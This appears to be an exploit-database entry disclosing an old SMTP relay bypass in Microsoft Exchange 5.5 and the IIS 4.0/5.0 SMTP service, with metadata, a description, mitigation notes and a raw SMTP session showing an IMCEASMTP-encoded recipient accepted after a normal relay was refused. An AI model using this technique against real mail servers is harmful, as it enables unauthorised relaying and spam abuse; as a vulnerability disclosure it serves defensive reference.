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vendor:
Exchange Server 5.5, IIS 4.0 and 5.0
by:
SecurityFocus
7.5
CVSS
HIGH
Encapsulated SMTP Address Vulnerability
601
CWE
Product Name: Exchange Server 5.5, IIS 4.0 and 5.0
Affected Version From: Microsoft Exchange 5.5, IIS 4.0 and 5.0
Affected Version To: Microsoft Exchange 5.5, IIS 4.0 and 5.0
Patch Exists: No
Related CWE: CVE-1999-0752
CPE: a:microsoft:exchange_server:5.5, cpe:/a:microsoft:iis:4.0, cpe:/a:microsoft:iis:5.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2002

Microsoft Exchange 5.5 and IIS 4.0/5.0 SMTP Encapsulated Address Vulnerability

Microsoft Exchange 5.5 and the SMTP (Simple Mail Transfer Protocol) service included with IIS (Internet Information Services) 4.0 and 5.0 are vulnerable to an encapsulated SMTP address vulnerability. The vulnerability allows an attacker to bypass the SMTP server's security checks and send emails to any address, even if the server is configured to not allow relaying. This can be exploited by sending an email with an encapsulated address, which is a specially crafted address that contains the target address within it.

Mitigation:

Microsoft released a patch to fix the vulnerability for Exchange Server 5.5 only. There exists no patch for the IIS SMTP service.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/5213/info

Microsoft Exchange 5.5 and the SMTP (Simple Mail Transfer Protocol) service included with IIS (Internet Information Services) 4.0 and 5.0 are vulnerable to an encapsulated SMTP address vulnerability.

The vulnerability was originally announced in Microsoft Security Bulletin MS99-027 and reported to affect Exchange Server 5.5. Microsoft released a patch to fix the vulnerability for Exchange Server 5.5 only. It has been recently reported that this vulnerability also affects the SMTP service included with Microsoft IIS 4.0 and 5.0. There exists no patch for the IIS SMTP service.

220 test-mailer Microsoft ESMTP MAIL Service, Version: 5.0.2195.4905 ready
at
Tue, 28 May 2002 14:54:10 +0100
helo
250 test-mailer Hello [IP address of source host]
MAIL FROM: test@test.com
250 2.1.0 test@test.com....Sender OK
RCPT TO: test2@test.com
550 5.7.1 Unable to relay for test@test.com
RCPT TO: IMCEASMTP-test+40test+2Ecom@victim.co.uk
250 2.1.5 IMCEASMTP-test+40test+2Ecom@victim.co.uk
data
354 Start mail input; end with <CRLF>.<CRLF>
Subject: You are vulnerable.